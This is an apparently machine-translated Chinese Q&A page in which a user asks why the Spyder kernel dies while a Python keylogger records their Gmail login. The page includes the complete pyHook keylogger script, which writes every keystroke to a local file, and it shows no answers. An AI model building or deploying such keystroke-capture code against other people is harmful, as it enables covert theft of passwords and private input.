输入gmail后,按键记录器会杀死内核

时间:2018-07-26 07:27:31

标签: python windows python-3.x keylogger

更新:

事实证明,这与代码无关,而与IDE有关。从Python控制台运行时,按键记录器可以正常工作。我仍然想知道如何解决此问题,但是目前我有一种解决方法。 [我应该关闭这个问题吗?]


我有一个简单的按键记录器(底部的代码... ),我想用来记录我在各种网站上的用户名和密码。我想做的是:

  1. 打开按键记录器
  2. 打开chrome,进入隐身状态(这样就不会自动登录),打开某个网站(在我的特定情况下为“ gmail” ),然后输入gmail + < kbd>输入
  3. 输入我的用户名输入和密码
  4. 关闭键盘记录器(通过点击我在每个事件中检查的 Esc
  5. 检查日志以查看结果

但是,在某些情况下,内核死于gmail之后就死了...我不知道为什么在某些情况下死于内核,但在其他情况下却死了,因为我所做的是相同的。

将Python与anaconda3 spyder IDE配合使用。


以下是良好运行结果的示例:

ngmail 
******
======
w
  • 'n',从 Ctrl + Shift + 'n'打开隐身模式
  • 'w',从 Ctrl + 'w'关闭窗口

在第二次尝试之后,即第一次尝试之后几秒钟,记录的唯一char是“ ngmail” [再次,n来自 Ctrl + Shift + 'n']使我的日志变为:

ngmail 
******
======
wngmail

如何解决此崩溃并使我的键盘记录程序稳定?


import pythoncom, pyHook, sys, string, datetime

# globals #
verbose = True

def OnEvent(event):
    write_to_file = False
    escape_button_ascii = 27
    enter_button = '\n'

    if verbose:
        print('#' * 40)

    if 'Wheel' in dir(event):
        if verbose:
            print('Mouse Event')
        return True
    else:
        if event.Ascii == escape_button_ascii:
            sys.exit()

        if verbose:
            print('KeyBoard Event')
        write_to_file = True

    if verbose:        
        print('#' * 40)

    for attr in dir(event):
        if not attr.startswith('__'):
            if verbose:
                print ("obj.%s = %r" % (attr, getattr(event, attr)))

            if write_to_file and attr == 'Ascii':
                if write_to_file and chr(getattr(event, attr)) in string.printable:
                    with open('keylog.txt','at') as f:
                        f.write(chr(getattr(event, attr)))
                        #if chr(getattr(event, attr)) == enter_button:
                             #f.write(str(datetime.datetime.now()))
                             #f.write(":\t")

    # return True to pass the event to other handlers
    return True


def main(keyboard=True, mouse=False):
    # create a hook manager
    hook_manager = pyHook.HookManager()

    if mouse:
        # watch for all mouse events
        hook_manager.MouseAll = OnEvent
        # set the mouse hook
        hook_manager.HookMouse()

    if keyboard:
        # watch for all keyboard events
        hook_manager.KeyDown = OnEvent
        # set the keybboard hook
        hook_manager.HookKeyboard()

    # wait forever
    pythoncom.PumpMessages()


if __name__ == '__main__':
   main()

0 个答案:

没有答案